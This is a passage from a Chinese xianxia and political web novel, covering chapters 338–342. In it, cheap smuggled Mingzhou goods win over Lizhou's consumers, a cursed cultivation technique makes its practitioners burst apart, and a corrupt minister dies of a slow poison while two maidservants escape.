如今赤裸裸的真相都呈现在眼前,又一次让这群人集体破防。 以往看不到就能给自己洗脑这东西不是来自明州,如今这字就留在这里,像是鬼一样跟着他们,每次路过,使用,都能不经意看到这个字。 次数一多,索性将这个字涂黑。 总之看不到就能当不是了。 这情况并非一家独有,而是大多数都这样。 在不得不使用,但用起来又感觉自己高贵的人格被侮辱后,大部分都选择眼不见为净。 将那标记遮掩住,看不见就能自欺欺人。 当然了,这使用明州来的东西在外那是绝对不能说的,不然岂不是丢了份子? 黎州目前依旧一片太平,虽说百姓偶有不满,但因为无法离开黎州,时间一久只能认命,好好在本地继续努力工作,试图养活全家。 而另一方面,黑市里,一批又一批从明州走私来的货物却越来越多。 这些人担着风险,自然要赚钱,但就算是提高售价,那也比购入本地的货物划算。 因隐蔽且数量不足以让官府发现,所以这走私行业便开始一直存续了。 虽说有风险,但架不住也赚钱,不少人开始眼热,于是便找了这些人合作,将这明州生产来的物品弄到自家商店里,换个由头,这就成了自家师傅做的特等品,价格还翻了一番。 如此一来,各大户的管事们便有了新的收入途径。 ——既然黑市里的东西和店铺里卖的一样,那就大部分在黑市购入,小部分在店铺购入,既有正规店铺的单据,又能赚足了利润,岂不妙哉? 反正这无论从哪儿看,两样东西都是一模一样。 像家小业小,还看不起明州生产货物的人家是最难受的。 先去店铺里购入所需要的物品,一看一摸,东西可真好啊,不比那明州货物差! 再看看价格,竟然翻倍卖! 实在是负担不起啊。 再往黑市里一看,一模一样的东西,只是从明州产的,就要便宜这么多! 这些人心里始终有疙瘩,这会又咬咬牙,去了店铺买了另一款便宜的物件,心想总算能逃开明州商品了。 等到回去美滋滋用了一段时间发现覆盖的漆掉了,露出一个嘲讽味十足的“明”。 而这套相同的瓷器,在黑市的价格仅为在店铺购入价格的三成。 欺人太甚! 这些人恼怒一番,试图找店家理论,但又一想也不是什么体面的值得说道的事,又憋屈地忍下。 等到日后再次路过那些售卖着相同物件的高价店铺,冷哼一声表示自己日后再也不会上当。 其中,这些人也不是没购买过本地的瓷器,但总归形态不美,或做工不好,说句难听话,价格贵,还不好用,那明州货物要甩本地货一条街。 不少人家里又不是什么特别有钱的,还舍不得买本地产的那些精致货,毕竟同等级别的物品,本地的价格更贵,只能偷偷去买明州产的,别别扭扭地用。 时间一久,见不得光的事做多了,人的心理也扭曲了。 本想自己偷偷买,偷偷用,想着哪天本地货品质量上来了,价格合适了,自己自然会去购入本地货。 结果谁成想黎州实在是不争气啊! 如今黎州里有一半的店铺都不知道从哪儿购入的明州货物,就算是刻意躲避,减少购买到明州货的概率,事后也会不小心中招。 时间一长,这些心里还别扭的,还在坚持的人终于是没招了。 ——好好好,自家东西不争气就不争气吧,反正他是再也不纠结那些有的没的的面子问题,他又不是傻子,哪个便宜质量好就买哪个,管它来自何处。 这么一和自己和解,生活立马舒爽了好几个度。 这些人想开了后也是彻底放飞自我,索性也不装了,摊牌了。 秦仲便是其中一员。 当初他急需一套像样的茶具装点门面,毕竟待客需要,但商铺价格实在是昂贵,只能去黑市试着淘金一把。 倒是还真让他找到了一套好货。 做工精细,茶具造型独特,除了有点灰尘外,别的毫无毛病。 最重要的是价格合适极了,甚至比他预算还要低。 秦仲美滋滋拿下,回去后就耐不住炫耀的心思,请了朋友们过来品茶,同时炫耀这茶具。 来的人里有人羡慕,也有人恶意拆台。 “据说最近商铺来了一批明州货,那都是做了遮掩手段的,秦兄可要好好看看,别花了大价钱买了明州货。” 秦仲第一时间自然是恼怒的,这不是当面给他下脸子又是啥! 等到送客后,他再度端详着这套茶具,一时间竟生出了一抹恐慌 不会吧,那明州能做出这么好的东西来? 但白日里朋友的话不经意间印刻在脑内。 “秦兄,那明州货物美价廉的,若是不讲究的人家,入一套也是极好的,毕竟可比本地的质量好多了。” ——比本地质量好啊 秦仲莫名其妙有些心虚,又捏了捏茶具,入手质感确实好得没话说。 这会心里七上八下,恨不得立马看看茶具底部有没有遮掩过的痕迹。 茶具确实没有,他刚松了口气,目光不自觉挪到了那装茶具的小箱子。 本来是不想看的,但那点想要查探清楚的心思又上来了。 秦仲始终还是没忍住,又过去查看箱子,等到仔仔细细看完后,他盯着箱子内部那个隐蔽的“明”字发呆。 靠,所以说,他买的就是明州货? 怪不得,本地东西哪有这么好用 秦仲心态崩了,一时间想伸手去砸了这茶具泄愤,手扬到半空又缩了回去 不行,若是砸坏了这件,日后他哪有钱再购入一件? 于是这会没法了,只能硬着头皮用。 既然事实更改不了,这会便开始痛恨自己非要去查。 查查查,把福气都查没了,这会查出来是明州的就高兴了! 抑郁好几日,勉强调节心态,说服自己东西取用随主人,他是个高雅之人,所以这茶具即便出身低贱,那跟着他,身家也能上涨了。 面上是不在意,但事实上,秦仲开始记恨上了那日来饮茶的朋友,非要让他起疑心,如今让他用得压根就踏实不了! 过几日后,秦仲被另一朋友邀请去参加品茗宴,宴席上,看着那造型精美,价格合理的茶具,秦仲产生了一种报复心态。 “路兄,我听说最近商铺里来了一批明州货物啊 哦,你查过了?那包装也得查查才是。” 第339章 爆体 秦仲朋友的脸色很快也不太好。 毕竟大家能混在一个圈子里的,其实经济实力大差不差。 这茶具自然也是他淘来的,只是如今被秦仲一打岔,心思也开始七上八下起来。 秦仲看到朋友这副模样满意了——凭什么只有他一个人崩溃自愈,他们都得这么难受才行。 回到家中,又将那茶具捧出来看了又看,这一看倒是生出了别样的情绪。 也不知道是看久了习惯了,亦或是由恨生爱了。 总归就是突然间觉得这茶具顺眼了不少。 很快,没几天后,秦仲朋友也查到了这茶具来源为“明”,整个人也开始复刻当初秦仲的崩溃。 这情况有人传人现象,不少人像秦仲一样,先被别人道破,羞愧恼怒间去查看一番,结果真相接受不了,又没办法不用,还没底气,没钱拒绝这明州的货物,只能咬牙往肚子里咽。 自己一个人受苦不行,也必须要戳破别人的小确幸。 看大伙跟自己一样纠结着用就高兴了。 时间一久,众人倒是慢慢对明州货物脱敏了。 其实与其说是脱敏,不如说是没法了。 毕竟如今黎州各地充斥着明州过来的货物,价格低,质量好,日常生活实在是很难避免。 众人慢慢学会了自欺欺人,去了店铺,或者是摊位,不再多嘴问这货物来自何处,也不问多余的。 ——问了能咋地,又不是有钱能买本地的,还不如躺平接受得了。 日后若是被拆穿还能装一手无辜,假装自己买错了。 这部分人就属于装睡。 而另一部分的人则是彻底躺平了。 他们本身就不是特别讲究的人家,互相往来间也不专逮着一些面子工程看,先前不买明州货物也是因为过不了心里那一关,但综合价格,质量,又不得不无奈选择明州货品。 既然反抗不了,心态早就躺平。 ——好好好,这明州的东西就是好用,就是价格便宜,质量还好,傻子才买又贵又烂的本地货! 这些人不仅仅自己用,还会拿着货物私底下推销出去,吹嘘一番明州货物,俨然一副彻底被明州货品征服的模样。 时间慢慢流逝,黎州竟然是越来越离不开明州提供过来的各项货品了。 而与此同时,保皇派也在次次忍耐。 市场上充斥着明州贩卖走私进来的货品,不少家族利益受损,若非是他们还需要修炼那《青梧引》的后半部分,不能惹怒山神,不然早就考虑派兵教训明州了。 这明州的手未免也伸得太长! 不过虽说保皇派不曾动手,但其余派别的人则是私底下查过,试图阻拦明州货品肆意横行。 但做这生意的已然成为一条产业链,不说别的,甚至有不少别的家族的人也参与进了这倒卖明州货物之中。 盘根错节,无法轻易处置,只能暂且搁置不管。 黎州目前面上一片宁静,甚至因为明州外来货物搅动市场,让原本死气沉沉的市场多了几分活力。 但谁都知道,这安稳只是浮于表面。 景旭宫。 自从先前察觉到功法有问题后,景旭宫宫主本打算率人前去那永道宫夺走雕塑,但在察觉到永道宫如今可能实力雄厚,其内诡异后,便暂时将此冲动之法压制下去。 但糟糕的是,他体内本该一直处于停滞状态的灵气开始沸腾,而后翻滚。 大有将这具躯体冲破的趋势。 宫主大大惊失色,额头滚落冷汗 这感觉不对劲。 得先封存体内各个穴位,阻止灵气进入进出。 当即,他瞬间压制住自身狂暴的灵气,刚松了口气,但下一秒,这灵气突破他刚封存的穴位,再次狂暴。 不对劲,非常不对劲。 景旭宫宫主咬牙,足足运转功法三天三夜,这才将狂暴的灵气梳理一番,勉强维持在一个稳定状态。 同时,他召了宫内其余长老,倒是得知此情况也一前一后出现在几人身上。 这竟然不是一个人独有的,莫非是那功法的缘故? 景旭宫宫主顿时冷汗涔涔——若真是功法出了问题,后果简直不敢想 他先是下令彻查宫内弟子状况,要求查清楚目前众弟子修炼《青梧引》的状态。 结果不太好。 有一半的弟子均出现了灵气暴动的问题,同时有十来个人消失了。 宫主冷脸:“活要见人,死要见尸,不存在人会莫名其妙消失。” 负责查探的弟子们心里暗自叫苦。 他们已经查过了,那十来个人不知道去了哪,突然间就像是消失了一样,竟然什么痕迹都没留下。 但既然宫主都要求继续彻查,他们也只能硬着头皮接了。 等在第四日时,事情本一筹莫展,但紧接着,在宫内大会上,宫主和几位长老都在时,一位谈姓的内门弟子突然抽搐倒地。 离他近的两位弟子蹲下来想搀扶起对方,却在看到对方古怪的脸庞时惨叫着松开手。 ——人体像是被吹炸的气球一样迅速膨胀,皮肤表面的沟壑和纹理被撑开,毛孔平整得像是光滑的宣纸,那张皮被撑得又薄又透。 躺在地上时,看起来就是被浸泡了数日的冰凉凉的,泡发了的尸体那种状态。 但看着比那更诡异。 距离近的弟子像是见了鬼一样后退几步,腿一软,差点当场跌倒在地。 周围人立马散开,警惕而又惊恐的看向那谈姓弟子。 只见他的眼珠子“噗呲”一声弹射出去,而后整个身体像是再也承受不住任何压力,“砰——”的一声炸开,血肉随即消散开来。 这血雾炸开的时候,他们切实闻到了一股浓郁的血腥味,但随即漫天血肉便逐渐消失,像是从未存在过一样。 除了宫主和长老们,宫内起码还有一百来号人看到了这血腥而又诡异的一幕。 事发突然,加上实在诡异,就连宫主和长老们都不曾反应过来,如今尸体已经消散,更是无处查处。 宫主心头剧震,他见识多,很快就将此状态联系到了一则古代秘闻。 据说远古时代的修士在引气入体,踏上修行之路后,因浑身充斥着灵气,便会在死后归还于天。 而刚才死去的人,倒是让他想到了这点。 再想想看此人刚才一副被撑爆的样子,即便残酷如景旭宫宫主本人也难得觉得有些犯恶心。 当然,这目前只是他的猜测,还需要试验后才能知道他猜得是否正确。 这事一出,宫内弟子的情绪自然是惊恐万分——同僚就这样活生生死在他们面前,死相凄惨,到底是为何? 很快,宫内便将谈姓弟子的死因归纳为修炼邪法,这才引来爆体而亡。 虽说这理由有些稍微立不住脚,毕竟目前整个景旭宫的人都在修炼《青梧引》,这人干嘛想不开非要去修炼邪法?明显得不偿失啊! 但无奈后续宫内给出的证据太过于详尽,不少弟子看看后便将此事忘在脑后。 与此同时,景旭宫宫主则在近几日对宫内弟子的观察中,心越来越凉。 上次谈姓弟子自爆后,他特意将自称气息不稳的人留下,分别放进不同的房间,表面上是教授他们如何控制,缓解灵气,但实际上,他们并未主动干涉,只是象征性的教了一点,便暗中观察这几人的状态。 三日后,活下来的只有他们教授过控制灵气之法的人还活着,另外的几人均是如同那谈姓弟子一样,被活活撑爆而死。 该死的,看来确实是这功法问题! 这东西根本不是停滞期这样温和,而是引爆前的静默期! 确定内心猜测后,景旭宫宫主再也淡定不能,如今要做的第一件事就是试图洗掉这诡异的功法印记。 想试图将此功法全部洗去。 但很可惜,意识海洋内宽广无比,想洗掉功法印记,简直难如登天。 更可恶的是,一旦试图洗掉功法,浑身的灵气便会更为混乱。 硬着头皮试了两次,眼看这做法只会将自己陷于更危险境地,宫主果断停手,去召了几位长老前来商讨。 几人来了后,听闻这《青梧引》的恶毒之处,先是一愣,而后试图尝试着洗掉功法,得到的结果和自己宫主一样。 “这情况诡异,我们不能硬着来,得看看能不能找别的法子破除这印记。” “先前我们不是要将那雕塑抢过来跪拜?依我看,若是能得到那所谓功法主人的认可,我们应当就不会爆体而亡。” “目前最重要的是,得到那雕塑,或者是我们聚集众人,前去讨伐永道宫,将那地占据后,再解除我等的功法威胁。” 《青梧引》确实逆天,再加上弟子传递消息说那被他们掳来的永道宫小道士修炼功法好好的,这些人更是心思几经翻转——看来这功法本身没问题,有问题的是他们没能得到认可。 尽管如今这功法实在是危险,但人人都有贪念,既然看到有一个活生生的例子摆在眼前,谁都忍不住想要去试探着解除自己身上的负面状态,从而日后能够顺利修炼。 几人密谋一番,决定和保皇派联手。 之所以和对方联手,就是因为他们知道保皇派这五人也弄到了功法,想必如今已经修炼开来。 既然大家都是绑在一条绳上的蚂蚱,他们就不怕这保皇派不做事。 且最为重要的是,据说保皇派的功法是从那明州所谓的山神手里得来的,若是能用金银,亦或是别的小代价轻松从山神手里得到如何解决功法问题的答案,这绝对要比打进去轻松得多。 当即,便有一位长老前去联络保皇派。 第340章 毒发 双方会面。 景旭宫长老并未说些客套话,而是单刀直入,直说那功法有问题。 五人自是不信,这功法修炼起来身体切实能体会到轻松之感,不像是有问题的邪法。 但等到被此人引导着试探到了那所谓的身体内极限的瓶口后,个个慌了神。 ——这怎么还这样呢! 忙追问该如何破解。 “依我看,必须要得到这功法主人的认可,才能破解功法的负面影响。先前我等查探过,需对着明州永道宫的那雕塑跪拜,才能解开受限制的状态。 而那雕塑经过我等查探,和诸位大人口中的山神很可能是一个人。” 这景旭宫长老既然来谈判,早就将宫内探查到的消息汇合在一起。 听闻此消息后,五人面面相觑,而后便立即决定命张绯带一批金银去“借”那雕塑一用。 虽说先前明州手伸得长,将货品卖遍了黎州,但迫于功法还在修炼阶段,五人就算是心里不爽也忍着,对于两地纽带的张绯一开始也是怀疑过的,但架不住张绯精于辩解,他们并未察觉到不对劲的地方,于是便继续用着了。 毕竟功法一日不成,这张绯就一日不能动。 张绯再次前往明州,这次和他同行的下属换了人。 ——虽说保皇派五人找不到他言语中的漏洞,但依旧对他不放心,所以便将人马全部换了一遍,且还额外多加了几个心腹看着张绯,就怕他投敌。 马车行进速度很快,等到到了明州,其余人还没反应过来时,除了张绯本人外,其余人都被瞬间捉拿押下。 至此,张绯的任务彻底完成,他甚至不需要动用那张传送符咒,成功隐藏到了任务结束。 方知意先下令让手下将张绯带来的人绑走,而后便开始考虑黎州一事。 经过整整半年的铺垫,据潜伏在城内的慎刑司等人汇报,黎州民心早就松动,如今若是攻打进去,定是最好的时机! 更何况,如今秋收已过,粮草充足,无论是兵力亦或是武器库存充足,先前她和永道宫的仇师祖通过气,知晓对方也早就做好了时刻联手克制景旭宫的准备。 眼下,时机已成。 跟着张绯过来的几人并没从嘴里得到有用信息,为了让这几人发挥一下最后的用途,方知意点了其中的两人,亲自写了一封信,让这两人将信送回去。 两人均是那保皇派的心腹,没想到自己竟然还能活着回去,一时半会激动异常,出了城就开始没命地驾马狂奔,连着赶路三日,总算到了黎州元城。 此时,保皇派五人,包括景旭宫的那位长老,都在等张绯回来。 却不料没等到张绯,倒是等到了两名心腹。 魏公公心口狂跳,第六感告诉他,有什么事超出控制了。 廖尚书性子急,立马走过去伸手去拿那封信。 其余五人则是死死盯着这信,想看其内写了什么。 拆开,几行龙飞凤舞的大字便出现在眼前。 别的字没看清,只看到最后一行大字。 “且谢过尔等昔日馈银之谊,借此基业已成,今与尔等殊途非党,自此天下,便由仙人一统!” 这字张牙舞爪,像是烙印一样,刻印在几人眼内,像是在宣告着他们的失败。 这是挑衅。 说明过往的一切,包括什么所谓的行宫,所谓的讨好,所谓的山神心悦等等全都是对方捏造出来的谎言,而最重要的是,他们因为贪念,陆陆续续给对方又送钱又送人的,还让对方将明州迅速发展起来。 据探子所说,那明州城内道路修得比元城还要平整宽敞,五人简直要气得吐血。 ——造孽啊!这都是他们亲手给对方送过去的钱和人! 事实上,这就是方知意写得有些夸张了。 如今明州的发展需要很多银两,而大部分都是她从别处弄来的,至于这保皇派几人给的银两,虽说也有用,但总归不至于起到了一个关键性作用。 但没关系,如今能写到书信内气一把对面就够了。 毕竟这送钱给对手的感觉很难受吧。 还在等待结果的景旭宫长老看到事情发展到如今,立马决定开启“打进去”的计划。 既然对方不肯拿出那雕塑,别怪他们景旭宫不客气了! 至于到时候要死多少人,那可由不得明州控制。 保皇派五人深觉受到了奇耻大辱,当即便同意了和景旭宫联手对付明州。 几乎没有浪费时间,五人行动开来,先是谗言说明州如今嚣张,再将先前他们特意掩埋起来的挑衅事实一一陈列,成功挑起事端。 而先皇派的人意外地没反驳他们,事实上,他们才是最想打的那批人,明州处处挑衅,他们早就受不了了,之前要不是有保皇派阻拦,这消息他们早就禀告给了天子,如何能留到现在。 大家都不是傻子,保皇派一改先前作态,那定是和对方谈崩了,或者是利用完了对方。 具体是哪一个,谁都不想管,反正最终目的达到了就好。 同时,景旭宫宫主也前来上朝,表示自己也会为天子效力,加入讨伐贼子的队伍里。 既已决定对战,黎州内部气氛开始变得粘稠而又严肃起来。 就连先前猖狂的走私犯也安分了许多。 谁也不傻,风头上还浪?小心抓典型,杀鸡儆猴用。 原先他们也是层层得知有人护着那明州,这才敢嚣张走私,现在风向转换得太快,整个黎州俨然一副严查猛打的趋势,谁敢找死。 走私平息,同时百姓的生活再次苦了起来。 尤其是经过半年明州货物的调教已经习惯的众人,一时间失去了物美价廉的明州货,竟觉得十分不适应。 这情况发生在各个阶层,最底层的百姓则是愤慨要再次挨饿,层次稍微高一些的则是哀叹没了好用的明州货,这可真是一大损失。 再次跌落回吃不饱的境地,民心摇摆,众人愤懑不已,但没有任何办法,只能期待着那明州打进来,把他们也纳入仙人的庇护范围内。 毕竟那画本子里就是这样写的,说那仙人心怀天下,若是明州胜了的话,日后或许他们的日子会比现在好过许多。 不求享受,但求填饱肚子,有衣御寒。 景旭宫。 有一半人手被派出去负责在元城各个重要位置安插防御符咒,至于景旭宫和皇宫,也被安排得严实。 两方人马均在试探,小规模的冲突有,但尚未升级到大规模的战事。 尚书府。 廖尚书这几日觉得身体愈发疲惫,心道是修炼《青梧引》导致的,想到那景旭宫道士说过的若是不解决《青梧引》的负面效果,日后定会爆体而亡,最近心情都很差。 ——那山神实力诡异,还有永道宫作为后续支援,手下也有不少官兵,这仗要是打起来,还真不知道会怎么样。 不过 想到小皇帝手里还有一杀手锏,廖尚书暂且松了口气,喊了茶水。 负责服侍的木棉,兰玉二人这几日小心翼翼,生怕触了霉头。 但越怕什么就越来什么。 木棉端着茶水,却不料廖尚书正在气头上,抬了胳膊,这一下撞得茶杯跌落在地,立马摔了个七零八落。 两人齐刷刷吓得脸色煞白,跪在地上求饶。 ——这套是廖尚书最心水的茶具,个个晶莹剔透,宛若玉石,内部覆了白釉,用于观察茶水颜色。 一套一共十个杯,讲究一个十全十美。 如今碎了一个,这杯子寓意就变了。 这套茶具便算是彻底废了。 木棉和兰玉二人以往伺候惯了廖尚书,两人均是小心谨慎的性子,倒是没想到今日能闯出如此大祸。 这套茶具珍贵异常,据说是开了特制的窑做的,每一窑出来的茶具都是独一无二的。 当然,独一无二就代表着价格昂贵。 别说将她们赶出府去,就算是将她们打杀了,也赔不了这茶具的价值。 虽说是廖尚书失手抬了胳膊,这才打碎了茶杯,但什么时候都是下人的错,她们做下人的,只有看主子心情的份。 很糟糕的是,廖尚书明显看上去心情很差。 本就被功法的负面影响搞得心神不宁,如今还碎了最爱的一套茶具,这寓意定是不好! 看着不断对着自己磕头求饶的双胞胎姐妹,廖尚书烦躁极了。 ——贱婢也来给他找不痛快,定要将她打杀了才是。 虽说是木棉的错,但这双胞胎死了一个,另一个留着也没什么用。 好歹是伺候过自己不少日子的,廖尚书决定慈悲一些,让两姐妹手挽手一起痛快上路算了。 他觉得自己已经足够好心,毕竟这情况,给她们卖到最低等的窑子里,再被折磨死也是合理。 两人还在跪着颤抖,眼泪止不住地流下。 但只能听从主子的发落。 等到听到廖尚书嘴里的话后,木棉“砰砰砰”磕头替妹妹求饶,脑袋登时鲜血四溅。 “大人,贱婢谢大人赐死,只是兰玉没犯错,求看在奴婢伺候多年的份上,还请大人给她一条活路吧!” 兰玉噙着泪,看姐姐磕得头破血流,自己却不知道该做些什么。 廖尚书本就心烦,如今更是被气得脑瓜子疼。 对着木棉就是一脚,正踹在她心口上,因常年吃药,身子虚弱,木棉很快便吐出一口血,歪倒在地,不能动弹。 始终都是个死,兰玉眼看求饶不成,和自己相依为命的姐姐也丢了半条命,过往的恨意一股脑涌入,使出吃奶的劲撞开还踩在姐姐心口的廖尚书。 廖尚书大惊,恼怒得脸皮发红。 ——贱婢尔敢! 他定要将她们扔进最低等的窑子里,折辱后再凌虐! 只是不等他开口喊人,心口却剧烈疼了起来。《 》 340-350 第341章 报仇 疼痛像是数万只蚂蚁啃噬一般,廖尚书脸色惨白,连惨叫都没能来得及叫出来,便跌倒在地。 兰玉看到这一幕,大脑在这危机时刻,竟然立马想到了解决之法。 ——廖尚书看着像是中风之兆,她和姐姐有机会活下去了。 几乎没犹豫,兰玉立马扶起木棉,两人假意过去搀扶廖尚书,制造出意外的假象。 而廖尚书则是疼得甚至管不了那么多,一个劲地从喉咙里哀嚎着,让她们喊大夫过来。 他现在疼得快死了,哪有心思处死这两人,只求赶紧叫大夫过来救命。 只是这疼痛实在是古怪,钻心剜骨一般,却让他疼得发不出惨叫,只能浑身颤抖。 事已至此,两姐妹对视一眼,均从对方眼里看到了意图。 两人不但没有去叫人,反而木棉恨恨地将那茶壶的茶水一把倒在廖尚书身上。 茶水还冒着热气,廖尚书怒火攻心,张嘴想骂她不想活了,但舌头像是打结一样,一句话都说不出来,只能怨毒地盯着她看。 但疼痛来得太剧烈,廖尚书很快就疼得维持不住表情,这会竟是眼歪嘴斜,这是瘫了? 眼看时机已到,姐妹二人这才开始行动。 兰玉慌忙去外面叫人,木棉惨白着脸去推廖尚书。 等到管事的过来时,两人早就将先前的事一一告知管事。 “大人心情不佳,给大人倒了茶水后,奴婢和兰玉便被差遣出去,结果谁想等听到屋内茶具摔碎的声响后,大人已经成了这样。” 木棉脸色煞白,管事以为她是害怕,实际上是因为先前廖尚书的那一脚,踹得她还没缓过来。 不过也好,现在看着倒是被误解了。 此刻已有大夫查验过那茶水无毒,且看了廖尚书的状态后,最后得出一个结论——中风。 这有毒还能责怪下人,如今中风那能怪得了谁? 毕竟廖尚书日常的确喜欢大鱼大肉,他不中风谁中风? 当然这吐槽没人敢说,于是这事倒是没继续追查下去,只是忙着请大夫给廖尚书针灸治疗中风而已。 姐妹俩顺利瞒天过海,在这廖府内活过了最危急的时候。 只是两人都知道,这不是个长久法子,毕竟若有哪一日廖尚书恢复了怎么办? 她们还要找活路才是。 于是趁着府内动乱,二人顺利拿到了自己的身契,又额外拿了些银钱,就等着找到机会一走了之。 搁以前她们是绝对不敢的,毕竟像她们这样的弱女子,出了元城就是死,如今听了不少明州的画本子后,姐妹二人早就想着日后出府后要前往明州过活,只不过还没等到那一日,如今先是被迫要出府了。 廖府。 本以为廖尚书针灸个几次就会好,毕竟先前那大夫说过,最多一个月必好,但实际上,十天后,廖尚书的病不仅没好,反而加重了,眼看奄奄一息,府内一片哀嚎。 木棉和兰玉二人得了消息后,姐妹二人没浪费时间,寻了借口从廖府驾了一匹马,又拿着从廖尚书匣子里偷走的腰佩,两人驾着马,直奔元城外。 如今城门看得很严,但架不住二人有廖尚书的腰佩牌子。 这可是自家上司的顶头上司,谁敢不要命去惹? 至于为何是女子拿着这腰牌,只因那女子说廖府老太太身体不大好,廖大人命她们伺候左右的丫鬟前去城外去寻女医来为廖府老太太治病。 这说辞无懈可击,毕竟如今只有女医才能给女子治病,不讲究的妇人找不到女医时会让男子治病,但廖府有身份地位,自然不可。 确认腰牌无误后,这守城的官兵客客气气地送走了二人,等到车子迅速出了城,姐妹俩惊觉背后湿了一片。 ——这大概是她们这辈子做过的最大胆的事了! 若非被逼到没办法,若非有明州可以作为退路,放在以前,她们不敢。 两人在马车里还藏了不少廖府过往勾结,贪污的文书账本,打算若是到了明州,对方需要投名状,她们便将这些东西给对面,好换个庇护。 两人走得及时,当天廖尚书的情况更糟糕了,那大夫诊治一番,察觉到这不是中风,而是一种隐藏颇深的毒,且这毒早就根深蒂固,无法去除了。 只是说实话不知道还能不能活着走出廖府,大夫也是知晓廖府的残忍的,这会假意说要回去拿药材过来一试,实则出了廖府便匆忙逃命去了。 而廖府老太太,老太爷,以及廖尚书的女儿,三人等了许久,又派人去看那大夫为何还不回来,等知晓对方早就跑路后,三人面色难看。 而如今,廖尚书又狂喷了一口鲜血,面色惨白,俨然是一副油枯灯尽的模样。 他甚至没来得及说任何一句话,脑袋一歪,一股腥臊恶臭传来,这是人死后失禁了。 廖府哭得凄惨,而后廖府老太太便想到了伺候廖尚书左右的那对双胞胎姐妹。 ——这两人是做什么吃的,毒药都没能早些发现,要她们何用!如今她的儿死了,她定要让这两人赔命才是! 但等到派人前去捉拿逮捕这对姐妹时,却发现两人早就跑路。 廖家的事很快便传到了保皇派其余四人耳里。 四人均有不同程度的怀疑。 中毒?这朝廷上看不惯廖尚书的人是很多,但不至于会有人敢给他下毒才是。 毕竟其中牵扯到太多,这手段不像是朝廷其余党派之人的手段啊 莫非是明州? 很有可能。 明州如今行事乖张,做起事来自然不需要像他们一样束手束脚,敢这样痛快杀死廖尚书,大概率是这群疯子。 四人暗骂一声,心情焦虑。 这对他们来说,无异于死亡被他人随意捏在手心。 如今明明管控严格,那廖府内也是有精兵上百,明州竟能在这个节骨眼轻飘飘地杀死廖尚书,这绝对是一种挑衅,一种对他们所有人的警告。 四人顿觉脑袋上方一片阴霾——先前就算是和其余党派闹得再凶,也不至于会随意丢了命,毕竟他们都知道对方的弱点,都知道对手的牵绊。 即便是不同党派,众人也是心照不宣的遵循着潜规则,即便是杀人,也需要寻个合理的能站得住脚的由头,而不是逮着机会就杀。 但如今明州明显毫无顾忌,且打破了这一默认潜规则。 保皇派四人个个觉得脖颈一凉。 若是任由这些疯子杀下去,保不齐哪天他们项上人头也不保! 至于中立派和先皇派内也都是人精,不出一天,就打听清楚那廖府内的事,稍作推断,也认为此事是明州所做。 ——看起来是明州故意这么做的。 先前明州就试探着和他们爆发小冲突,但黎州一直压着没打,现在用廖尚书的死告诉他们所有人,要么开打,要么钝刀子割肉。 恐惧时刻萦绕在众人心头,被惦记上的滋味一点都不好,更何况明州杀人还这么轻松? 除却中立派还淡定外,其余两派都调整了方向,打算不日就开打。 而在几天后,数份关于廖府的脏事便流传开来,这些消息在坊间肆意流窜,其内还涉及了不少其余和廖府勾结的家族,也包括保皇派内部的一些脏事。 不仅仅是贪污,更是有以折磨虐杀普通百姓为取乐的恶劣事件,且据不完全统计,死在他们手下的如今早就有五百多人,死法五花八门,闻者落泪。 这事曝出来后,自然是惹得百姓民众更加动摇。 先前明州货物对于他们的冲击本就很大,现在又看到本地官员压根不把他们当人,愤懑哀怨不满滋生,黎州顿时处于动乱之中。 为了遏制此负面影响,和此事有关的个个家族则是疲于奔命,用尽一切手段试图将消息压制下去,不过效果不太好,但努力也是有回报的,至少面上无人敢再谈论此事。 私人山庄。 保皇派四人围聚在一起,眼内带恨。 “粮草军马已经备好,后日便直奔二州边界,这明州是不能再留了。” “哼,若非景旭宫最近还在制作什么阵法,早就该打回去了。” “倒是让朝廷的信誉再次降低了几分。不过也无妨,等到我等顺利打下明州,就算是愤怒又有何用?日后还不是要乖乖呆在大炎朝的地盘上。” “日后再修整他们也不迟,如今最重要的除了拿下明州外,便是那永道宫雕塑一事。” “景旭宫宫主昨日刚送来信件,说一切准备妥当,只等日后我等寿元直逼二百载!” 四人总算松了口气,互相碰杯,喝完了杯中酒水。 明州。 木棉,兰玉二人早就用廖府把柄和方知意做了交换,求个庇护。 方知意欣然应允。 无论是廖尚书毒发身亡的时间,以及之后扔出去的爆料,自然是她精心计算后的时机。 先前负责监视廖尚书的初六一行人在廖尚书身亡当日便撤离出元城,他们的潜伏任务总算结束。 大仇得报,廖尚书也死得足够有价值,实在是令人痛快。 他们在撤出黎州后直奔明州复命,随时听从方大人的调遣。 尽管潜伏期有些长,让对方多活了一段时间,但初六觉得值了。 在亲眼看到仇人吐血而亡时,初六心口涌出来一股难以描述的畅快。 他终于替娘报仇了! 但畅快过后,随即席卷而来的便是无尽的空虚。 过往支撑着他走来的仇恨一旦彻底清除,身体便像是失去了方向的船舶一般,毫无目标,毫无方向,在名为人生的海洋上随波逐流。 他本来以为自己会兴奋,会激动,但恰恰相反,他被巨大的空洞裹挟着,坠入深渊。 第342章 追求 很迷茫。 很空虚。 哪怕是回到了风仙县,回到了住所,初六也依旧觉得无趣。 像是破了一块,血流不止的伤口,本以为报仇成功后这伤口总会慢慢愈合,但现在看来,愈合速度很慢,远远比不上血液往外渗透,伤口不断扩散的速度。 因暂时没什么任务,初六便一直待在自家。 这房子是他用薪资买到的,院子里有一棵梅花,每到天寒地冻时会开出红梅。 去年他匆匆看到过一次,只记得这花的颜色像极了当初他家院子里的那棵梅花。 那时候娘还在,她会摘一些花朵去窨香茶叶,不日后全家人就能喝到带着花味的茶叶。 那点味道带着淡淡的甜,花瓣被娘精心挑出去,不见花却见味,这是她最擅长做的。 去年梅花开花后,初六自己也按照记忆里母亲的做法做了那花茶,只是手法不对,茶叶全都发霉变质了。 盯着那被丢弃的茶叶后,他突然就被窒息攥紧喉咙。 这个时候,他才从生活中确切地意识到,日后他再也喝不到熟悉的味道,再也看不到母亲。 痛苦像是藤蔓一样细密地缠绕在他心口,哪怕在母亲死后,他一直抱着坚定的要复仇的心,现如今大仇得报,原先勉强堵住的痕迹开始不受控地涌出鲜血。 往后他孑然一人。 天地间再也没有一个人值得他停留。 生活还在继续,他只是不怎么想出门了。 直到某日,门被敲开,看到许久不曾再见的邻家妹妹二凤,初六还是愣了一下。 事实上,除了先前刚来风仙县两人有过短暂一段时间的接触外,其余时候,他很少回到风仙县,大部分时候都是在外执行监察任务。 如今二凤和过往截然不同了。 她在这一年多时间里,读了书认了字,因她对学习这方面算得上聪慧,目前刚升入中级班。 前些日子,她总算是靠初级毕业证找到了一份日薪200文的脑力工作。 不至于再拿日薪100文,负责帮客栈清扫的工作。 